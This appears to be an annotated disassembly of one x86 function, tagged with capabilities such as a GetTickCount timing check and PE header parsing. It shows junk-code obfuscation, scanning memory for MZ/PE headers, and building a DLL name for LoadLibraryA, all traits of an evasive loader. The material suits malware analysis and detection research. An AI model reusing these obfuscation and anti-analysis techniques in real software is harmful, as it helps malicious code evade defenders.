Function at 0x4e1860
Capabilities:
Accept command line arguments
Check for time delay via gettickcount
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
push ebx
push esi
push edi
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0xc], 0
mov al, byte [0x65e037]
xor al, byte [0x65e030]
mov byte [0x65e037], al
mov ecx, dword [0x65e024]
mov edx, dword [0x65e020]
lea eax, [edx + ecx*2]
mov dword [0x65e020], eax
xor ecx, ecx
mov cl, byte [0x65e037]
mov edx, dword [0x65e028]
and edx, 3
imul ecx, edx
mov eax, dword [0x65e024]
add eax, ecx
mov dword [0x65e024], eax
mov dword [ebp - 0x1c], 0x5a4d
mov dword [ebp - 0xc], 0x4550
mov cl, byte [0x65e030]
and cl, byte [str._sE]
mov byte [0x65e030], cl
xor edx, edx
mov dl, byte [0x65e030]
sar edx, 1
or edx, 1
mov dword [ebp - 0x20], edx
fild dword [ebp - 0x20]
fdivr qword [0x65e040]
fst qword [0x65ebd0]
fadd qword [0x65b740]
fstp qword [0x65ebd0]
mov eax, dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov dword [ebp - 0x10], eax
mov ecx, dword [0x65e024]
shl ecx, 1
or ecx, dword [0x65e020]
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], 0
fild qword [ebp - 0x28]
fadd qword [0x65e040]
fstp qword [0x65e040]
mov edx, dword [0xa5ef38]
cmp edx, dword [0x65e020]
je 0x4e1953
mov eax, dword [0x65e020]
xor eax, dword [0xa5ef38]
mov dword [0x65e020], eax
jmp 0x4e1f00
mov cl, byte [0x65e036]
xor cl, byte [0x65e037]
mov byte [0x65e036], cl
mov edx, dword [0x65e028]
shr edx, 1
mov eax, dword [0x65e02c]
add eax, edx
mov dword [0x65e02c], eax
xor ecx, ecx
mov cl, byte [0x65e037]
mov edx, dword [0x65e02c]
and edx, 7
imul ecx, edx
mov eax, dword [0x65e028]
add eax, ecx
mov dword [0x65e028], eax
mov ecx, dword [ebp - 0x10]
and ecx, 0xffff0000
mov dword [ebp - 0x10], ecx
mov dl, byte [0x65e038]
xor dl, byte [0x65e039]
mov byte [0x65e038], dl
xor eax, eax
mov al, byte [0x65e033]
sar eax, 3
or al, 1
mov dword [ebp - 0x2c], eax
fild dword [ebp - 0x2c]
fdivr qword [0x65ebe0]
fst qword [0x65ebd0]
fadd qword [0x65e040]
fstp qword [0x65ebd0]
mov ecx, dword [ebp - 0x10]
add ecx, 0x1000
mov dword [ebp - 0x10], ecx
mov dl, byte [0x65e031]
or dl, byte [0x65e03d]
mov byte [0x65e031], dl
xor eax, eax
mov al, byte [0x65e035]
sar eax, 1
or al, 1
mov dword [ebp - 0x30], eax
fild dword [ebp - 0x30]
fdivr qword [0x65e048]
fst qword [0x65ebe0]
fadd qword [0x65b738]
fstp qword [0x65ebe0]
mov cl, byte [0x65e035]
and cl, byte [0x65e036]
mov byte [0x65e035], cl
mov edx, dword [0x65e020]
shr edx, 5
mov eax, dword [0x65e024]
and eax, edx
mov dword [0x65e024], eax
xor ecx, ecx
mov cl, byte [0x65e036]
mov edx, dword [0x65e020]
and edx, 8
imul ecx, edx
mov eax, dword [0x65e02c]
or eax, ecx
mov dword [0x65e02c], eax
mov ecx, dword [ebp - 0x10]
sub ecx, 0x1000
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0x18], edx
mov al, byte [0x65e032]
xor al, byte [0x65e03f]
mov byte [0x65e032], al
xor ecx, ecx
mov cl, byte [0x65e030]
sar ecx, 2
or ecx, 3
mov dword [ebp - 0x34], ecx
fild dword [ebp - 0x34]
fdivr qword [0x65ebd8]
fst qword [0x65ebd8]
fadd qword [0x65ebd0]
fstp qword [0x65ebd8]
mov edx, dword [ebp - 0x10]
push edx
call fcn.0044bb10
add esp, 4
test eax, eax
je 0x4e1bac
mov eax, dword [0x65e028]
shl eax, 1
or eax, dword [0x65e02c]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], 0
fild qword [ebp - 0x3c]
fadd qword [0x65e040]
fstp qword [0x65e040]
mov ecx, dword [ebp - 0x18]
xor edx, edx
mov dx, word [ecx]
cmp edx, dword [ebp - 0x1c]
je 0x4e1b0e
jmp 0x4e1bac
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
xor eax, eax
mov ax, word [edx]
cmp eax, dword [ebp - 0xc]
je 0x4e1b2c
jmp 0x4e1bac
mov ecx, dword [0x65e020]
shl ecx, 3
or ecx, dword [0x65e024]
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x40], 0
fild qword [ebp - 0x44]
fstp qword [0x65e048]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x85ef00], eax
mov dl, byte [0x65e03d]
and dl, byte [0x65e03a]
mov byte [0x65e03d], dl
mov eax, dword [0x65e024]
shr eax, 2
mov ecx, dword [0x65e020]
sub ecx, eax
mov dword [0x65e020], ecx
xor edx, edx
mov dl, byte [0x65e033]
mov eax, dword [0x65e028]
or al, 7
imul edx, eax
mov ecx, dword [0x65e024]
and ecx, edx
mov dword [0x65e024], ecx
mov edx, dword [ebp - 0x18]
mov dword [0x85eef8], edx
jmp 0x4e1bb9
cmp dword [ebp - 0x10], 0x1000000
ja 0x4e1a2d
jmp 0x4e1efb
cmp dword [0xa5ef18], 0x23f0
jae 0x4e1cff
mov al, byte [0x65e034]
and al, byte [0x65e039]
mov byte [0x65e034], al
mov ecx, dword [0x65e02c]
shl ecx, 4
mov edx, dword [0x65e028]
and edx, ecx
mov dword [0x65e028], edx
xor eax, eax
mov al, byte [0x65e035]
mov ecx, dword [0x65e024]
and ecx, 8
imul eax, ecx
mov edx, dword [0x65e02c]
or edx, eax
mov dword [0x65e02c], edx
push 0x65ec68
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0x65ec68
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov al, byte [0x65e033]
xor al, byte [str._sE]
mov byte [0x65e033], al
xor ecx, ecx
mov cl, byte [0x65e031]
sar ecx, 2
or ecx, 3
mov dword [ebp - 0x48], ecx
fild dword [ebp - 0x48]
fdivr qword [0x65ec40]
fst qword [0x65ec40]
fadd qword [0x65ebe0]
fstp qword [0x65ec40]
mov edx, dword [0x85ef00]
mov esi, dword [0x65ed2c]
xor esi, dword [edx + 3]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp esi, eax
jne 0x4e1c89
jmp dword [eax + 0xa5ef18]
mov dword [0x65ea8a], 0x706d6f63
mov dword [0x65ea8e], 0x69757473
mov dword [0x65ea92], 0x6c6c642e
mov dword [ebp - 0x14], 0xa
mov dword [ebp - 8], 8
push 0x65ec68
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [0x65e020]
shl eax, 1
or eax, dword [0x65e024]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], 0
fild qword [ebp - 0x50]
fadd qword [0x65e048]
fstp qword [0x65e048]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x14]
lea eax, [edx + ecx + 0x65ea78]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x65ee3c], eax
jmp 0x4e1ef6
cmp dword [0xa5ef18], 0x23f0
jb 0x4e1ef0
mov cl, byte [0x65e03d]
and cl, byte [0x65e03a]
mov byte [0x65e03d], cl
mov edx, dword [0x65e024]
jmp 0x4e1d04
jmp 0x4e1bbe
jmp 0x4e1958